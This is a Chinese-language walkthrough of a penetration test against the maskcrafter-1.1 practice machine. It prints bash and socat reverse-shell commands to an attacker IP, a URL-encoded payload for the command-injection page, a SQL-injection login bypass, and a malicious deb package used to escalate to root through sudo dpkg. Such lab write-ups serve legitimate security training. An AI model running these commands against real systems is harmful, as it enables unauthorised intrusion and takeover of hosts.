靶机实战渗透测试-maskcrafter-1.1
信息收集
首先使用arp-scan
进行主机发现,找到本次渗透的目标
*找到目标靶机并使用nmap命令对其进行基本的信息收集
nmap -sV -p- 172.16.10.115
*发现靶机开启了*21
,22
,80
,111
,2049
,33561
,38681
,50017
,57297
等多个端口*
首先访问其80端口http://172.16.10.115/
发现页面是一个登录框,查看网页源代码也没有发现什么有用的内容,于是掏出dirb
进行扫描*
*
*发现有*debug
,JavaScript
,phpmyadmin
,robots.txt
等多个目录,首先访问robots.txt
*发现页面指向*debug
目录,于是我们访问debug
目录,发现需要输入用户名和验证码进行验证**
发现同样需要用户名和密码进行认证,然后phpmyadmin
目录也需要用户名和密码的认证
我们重新回到开启的服务这一块,发现目标还开启着ftp
的服务,我们尝试使用匿名用户进行访问,查看能否访问,并存在关键信息
*我们发现匿名用户可以直接进入靶机的*ftp
服务,并且有一个名为pub
的目录,进入目录*
*
*将目录下的两个文件下载到本地*
尝试解压cred.zip
,发现解压cred.zip
文件需要密码,我们未曾获得过zip的密码,所以暂时放弃这个压缩包,继而查看另一个txt文件
*发现是Root留个Web段的administrator的也就是Web端的管理员的一段留言
*我们可以从上述文本中得到两个信息,首先*debug
目录下需要登陆的用户的admin
并且这个用户的密码并不是一个强口令,而是弱口令.我们就可以尝试用弱口令登陆debug
了*
而第二条消息则是,这个网站有一个地方存在SQL注入,因为上述文本已经提到了debug
,要么是登入的debug
里面的一处,要么就是网站的主页,也就是第一个登入框*
首先我们先从debug
下手*
输入弱口令组合admin:admin
直接一发入魂,成功的进入到debug
页面中,果然弱口令YYDS!*
*
*发现这是一处命令执行的页面,大概率存在远程命令执行的漏洞,我们开启*burp suite
进行测试*
虽然只有三个命令可以选择,我们随便选择一个进行查看,然后抓包进行修改*
*
*数据包为*POST
数据包,而执行的命令就在command
参数后面,我们直接修改ifconfig
修改为ls
查看网页回显*
确定漏洞存在,漏洞利用开始
通过RCE获取shell
再次选中ifconfig
选项执行,在burp suite
中抓包并且修改,此时我们的kali
开启监听端口7777
来接受靶机反弹出来的shell
将数据包修改为如下,然后放包,查看是否获得到靶机的shell
/bin/bash -i >& /dev/tcp/172.16.10.152/7777 0>&1
*很遗憾,页面没有报错,靶机也没有收到*shell
,那么再次进行尝试,这次将Payload进行URL编码,再次进行传输*
*通过burp suite
自带的功能进行编码,然后修改参数,进行转发**
%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%2e%31%30%2e%31%35%32%2f%37%37%37%37%20%30%3e%26%31
但是仍然没有得到shell
,于是我换了个语句bash -c "bash -i >& /dev/tcp/172.16.10.152/7777 0>&1"
,转URL编码%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%36%2e%31%30%2e%31%35%32%2f%37%37%37%37%20%30%3e%26%31%22
*成功的弹到了*shell
*此时我们已经成功的进入了靶机*
提权
首先用Python
重新调用一个shell
.python -c "import pty;pty.spawn('/bin/bash')"
*然后在靶机内进行信息收集
*来到*html
目录下,发现我们还有两个地方没有登入进入,首先是phpmyadmin
和首页,我们回到首页尝试用sql注入绕过登入*
*
*登入成功的数据包,这边用的是万能密码直接绕过
成功进入发现也没有什么有用的信息
提权至userx用户
发现一个db.php
疑似为数据库连接文件,查看其内容**
得知用户名为web
密码为P@ssw0rdweb
*我们直接从登入*phpmyadmin
中****
从网站的数据库myadatabase
中得到数据包解压的密码**
得到userx
的密码,回到靶机中,查看系统中存在哪些用户**
啊这,三个,好家伙,这我熟啊,一个一个来慢慢提权呗
*首先切换到第一个用户*userx
成功的切换到userx
,然后再次进行信息收集去下一个用户
提权到evdaez用户
此时我们发现evdaez
用户的根目录我们是有权限进行访问的,访问其目录
*而其目录下并没有什么有用的信息,然后我一个不小心*CTRL + C
把shell关掉了,于是就只能用ssh
进行连接了*
重新连接上去之后,我们得先知道userx
有什么权限,使用命令sudo -l
***
发现可以用evdaez
的权限来执行/scripts/whatsmyid.sh
这个sh
脚本
*首先查看这个脚本执行了什么命令,有什么用*
可以看到这个脚本仅仅只是执行了一个id
的命令,但是这个文件的所有者是我们,也就是当前用户userx
*我们就直接修改文件内容来获取*evdaez
的shell
啦*
*
*然后进行下一步的提权,提权到最后一个用户,然后再提权到*root
*首先既然成功的切换到了*evdaez
的用户,那么我们就得先知道evdaez
用户可以做什么,有什么权限*
*首先使用命令sudo -l
查看用户的sudo权限*
*
发现evdaez
用户可以以researcherx
的身份使用socat
命令
提权researcherx
那么socat
的命令是什么?有什么用呢?
百度之后可以看到,socat
其实和netcat
也就是nc
差不多,甚至比nc
还有强,那么我们的思路就是利用socat
反弹一个researchrx
用户的shell
出来
*这一步是查阅了大佬的博客才知道怎么利用*socat
工具*
*首先在kali Linux
上执行socat file:
tty,raw,echo= tcp-listen9999
*然后在目标靶机中执行*sudo -u researcherx socat tcp-connect: 172.16.10.152:9999 exec:/bin/sh,pty,stderr,sigint,sane
*然后*kali Linux
这边就可以接受到researchrex
的shell了*
*但是接受过来的shell
连Backspace
键都不可以用,最好还是利用python
重新调用一个shell
啦*
*python -c "import pty;pty.spawn('/bin/bash')"
*我们成功拿到*researchrex
的shell
之后,再次查看sudo
有什么权限*
*
好家伙,又是一个我不太熟悉的命令,果然我还是太菜了
提权ROOT
那么这个dpkg
是做什么的?有什么用呢?
*于是我再次去查阅大佬的攻略,得知大致的思路
*首先做一个*bash
脚本,脚本的作用就是执行获得一个shell
,但是因为dpkg
是用来软件的安装,那么会涉及到安装包,所以需要一个工具完成bash
脚本转换到软件包
的操作*
而可以完成这个操作的工具就是fpm
工具*
*当然dpkg
本来也有另一个提权的姿势,只不过这个靶机没有,就是类似于less
,vim
的那种*
*那么首先来安装fpm
这个工具
apt-get install rubygems
gem sources -a http://mirrors.aliyun.com/rubygems/#添加源
gem sources --remove https://rubygems.org/#删除源
gem install fpm
成功的安装好之后,我们先制作一个bash
脚本
首先创建一个root.sh
,在脚本中写入
TF=$(mktemp -d)
echo 'exec /bin/bash' > $TF/root.sh
fpm -n x -s dir -t deb -a all --before-install $TF/root.sh $TF
然后直接运行root.sh
,然后就可以发现根目录下多了一个包
此时我们再利用Python
将包传入到靶机中 python3 -m http.server(默认开启8000)
*再在靶机中使用*wget
命令获取包 wget http://172.16.10.152:8000/x_1.0_all.deb
*然后就是最重要的一步提权至*root
Payload:sudo -u root -i x_1.0_all.deb
*虽然好像不加*-u root
也可以成功**
然后我们也是成功的进入到root
的目录下,成功的获取到flag
了
那么这台靶机也就告一段落了!
End
这台靶机的思路大致是
通过FTP服务得到两个关键线索(用户名和sql注入)->通过RCE getshell->进入靶机利用sudo命令一个权限一个权限一步步来提权
靶机还是很有意思的,对我来说也是很有难度的一台靶机
这台靶机设置到了几个提权命令为socat
和dpkg
还有fpm
的使用
欢迎大佬们来交流群来交(骚)流(扰)我们
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论